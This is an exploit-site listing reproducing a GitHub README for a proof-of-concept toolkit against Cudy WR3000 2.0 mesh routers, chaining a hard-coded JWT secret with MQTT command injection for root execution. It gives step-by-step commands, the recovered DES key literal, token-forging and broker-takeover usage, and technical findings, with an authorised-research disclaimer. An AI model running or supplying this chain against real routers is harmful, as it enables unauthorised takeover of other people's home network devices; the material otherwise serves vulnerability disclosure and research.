Sploitus

Exploit for CVE-2026-71960 CVE-2026-71960 CVE-2026-71961

githubexploit Β· 2026-08-20

Exploit Code

README69 lines
## https://sploitus.com/exploit?id=28FEF878-7AE8-5CC3-9535-1CF08252260B
# CVE-2026-71960 β€” Hard-coded JWT Secret in Cudy WR3000 2.0 Mesh MQTT Broker

PoC tooling for the Hunt-Benito article
**"The Same Key Opens Every Box: CVE-2026-71960 β€” Hard-coded JWT Secret in Cudy's WR3000 Mesh MQTT Broker"**
(https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)

Chains with **CVE-2026-71961** (OS command injection via the same MQTT mesh
interface) to reach root command execution on every node of a Cudy WR3000 2.0
mesh running firmware **before 2.5.24**.

## What is here

| File | Purpose |
|---|---|
| `extract_firmware.py` | Unpack a public Cudy sysupgrade `.bin` (hboot1tag + UBI) into a full OpenWrt filesystem. Verified against 2.4.14 / 2.4.15 / 2.5.24. |
| `decrypt_bdinfo.py` | Derive the DES key (`DES_string_to_key("88T3j05dtFu8=")`, zero IV β€” recovered from `libbdinfo.so`) and decrypt a `bdinfo` MTD dump from your own device, revealing `deviceid` and the fleet-wide `secret`. |
| `forge_jwt.py` | Mint an HS256 token that satisfies every check in `mosquitto_auth_unpwd_check` (exp floor 1577826000, username grant containing the deviceid). Self-verifies round-trip. |
| `mqtt_takeover.py` | CONNECT to the broker on TCP 1883 with the forged JWT, subscribe to `router/#`, and (optionally, `--cmd`) exercise the `command.lua` β†’ `io.popen` sink of CVE-2026-71961. |

## Quick start

```bash
pip install pycryptodome pyjwt paho-mqtt

# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs

# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
#   88T3j05dtFu8=

# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin

# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret ''

# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret ''
```

## Findings at a glance

- `auth_plugin_jwt.so` calls `bdinfo_get_value("deviceid")` and
  `bdinfo_get_value("secret")` at broker startup; the `secret` value is the
  HS256 signing key for **all** mesh JWTs.
- The plugin's `exp` check is `exp >= 1577826000` (2019-12-31T21:00:00Z); the
  `time()` call result is never compared β€” tokens never actually expire.
- `alg: none` is **rejected** (EINVAL when a key is supplied) β€” the secret is
  genuinely required; there is no alg-confusion shortcut.
- `mosquitto_auth_acl_check()` returns SUCCESS unconditionally β€” a accepted
  CONNECT grants read/write on every topic.
- Plaintext listener `0.0.0.0:1883` (2.4.x) means no TLS client certificate
  is needed. Fixed firmware 2.5.24 deletes the 1883 listener, drops the
  bdinfo secret entirely, and relies on mutual TLS.

## Legal

For authorised security research and education only. Run solely against
devices you own or have explicit written permission to test. The authors
assume no liability for misuse.

## Sources

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71960
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71961
- VulnCheck advisory: https://www.vulncheck.com/advisories/cudy-wr3000-hard-coded-jwt-secret-authentication-bypass-via-mqtt
- Cudy firmware: https://www.cudy.com/en-us/pages/download-center/wr3000-2-0